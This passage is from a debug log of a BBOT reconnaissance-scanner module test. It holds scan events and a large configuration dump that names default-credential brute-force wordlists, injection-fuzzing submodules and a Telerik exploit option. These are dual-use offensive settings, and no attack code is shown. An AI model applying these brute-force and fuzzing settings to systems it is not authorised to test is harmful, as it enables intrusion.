'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:21:52,322 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,324 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:21:52,324 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,326 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,327 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 21:21:52,332 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config -2026-02-27 21:21:52,332 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) -2026-02-27 21:21:52,333 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) passed post-check -2026-02-27 21:21:52,333 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) -2026-02-27 21:21:52,334 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) -2026-02-27 21:21:52,335 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) because precheck succeeded -2026-02-27 21:21:52,412 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 21:21:52,414 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:21:52,414 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) from TARGET -2026-02-27 21:21:52,414 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'unresolved', 'domain'}) passed post-check -2026-02-27 21:21:52,415 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 21:21:52,416 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 21:21:52,417 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 21:21:52,417 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 21:21:52,417 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 21:21:52,418 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 21:21:52,418 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 21:21:52,419 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 21:21:52,518 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 21:21:52,519 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 21:21:52,533 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 21:21:52,534 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 21:21:52,535 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 21:21:52,545 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 21:21:52,546 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 21:21:52,546 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 21:21:52,547 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 21:21:52,548 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 21:21:52,548 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 21:21:52,664 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_6zceez31zn completed in 0 seconds with status FINISHED -2026-02-27 21:21:52,665 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 21:21:52,666 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:21:52,667 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 21:21:52,667 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_enterprise_test_6zceez31zn', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_6zceez31zn', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_6zceez31zn'}, 'started_at': '2026-02-27T21:21:51.947582', 'status': 'RUNNING'} -2026-02-27 21:21:52,668 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 21:21:52,669 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,670 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED -2026-02-27 21:21:52,670 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 blacklanternsecurity.com -2026-02-27 21:21:52,670 [HUGEWARNING] bbot test_module_shodan_enterprise.py:23 {'in-scope', 'target', 'unresolved', 'domain'} -2026-02-27 21:21:52,670 [HUGEINFO] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:21:52,671 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 21:21:52,671 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:21 {'id': 'SCAN:3b51e093d632282634171a26ab736cbcb6801b2b', 'name': 'testshodan_enterprise_test_6zceez31zn', 'target': {'seeds': ['blacklanternsecurity.com'], 'whitelist': ['blacklanternsecurity.com'], 'blacklist': [], 'strict_scope': False, 'hash': 'b813d1d7fbaa3a3ca10ef8102b5dbcf344f4e8ea', 'seed_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'whitelist_hash': '1e57014aa7b0715bca68e4f597204fc4e1e851fc', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '0b94739339395097caf816b6e7a5a71160c59cf3'}, 'preset': {'description': 'testshodan_enterprise_test_6zceez31zn', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 